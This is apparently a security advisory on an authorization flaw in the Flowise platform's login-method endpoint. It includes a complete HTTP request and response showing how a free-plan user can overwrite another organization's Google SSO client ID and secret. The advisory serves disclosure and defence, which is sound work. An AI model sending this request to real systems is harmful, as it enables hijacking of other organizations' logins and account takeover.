The Flowise platform has a critical Insecure Direct Object Reference (IDOR) vulnerability combined with a Business Logic Flaw in the PUT /api/v1/loginmethod endpoint.
While the endpoint requires authentication, it fails to validate if the authenticated user has ownership or administrative rights over the target organizationId. This allows any low-privileged user (including "Free" plan users) to:
The backend accepts the organizationId parameter from the JSON body and updates the database record corresponding to that ID. There is no middleware or logic check to ensure request.user.organizationId === body.organizationId.
Prerequisites: 1. The attacker creates a standard "Free" account and obtains a valid JWT token (Cookie/Header). 2. The attacker identifies the target organizationId (e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d).
Step-by-Step Exploitation: The attacker sends the following PUT request to overwrite the victim's Google SSO configuration.
Request:
PUT /api/v1/loginmethod HTTP/2
Host: cloud.flowiseai.com
Cookie: token=<ATTACKER_JWT_TOKEN>
Content-Type: application/json
Accept: application/json
{
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"userId": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"providers": [
{
"providerLabel": "Google",
"providerName": "google",
"config": {
"clientID": "ATTACKER_MALICIOUS_CLIENT_ID",
"clientSecret": "ATTACKER_MALICIOUS_SECRET"
},
"status": "enable"
}
]
}
Response: The server responds with 200 OK, confirming the modification has been applied to the victim's organization context.
{
"status": "OK",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d"
}
{
"github_reviewed_at": "2026-03-06T22:20:50Z",
"nvd_published_at": "2026-03-07T06:16:10Z",
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"severity": "HIGH",
"github_reviewed": true
}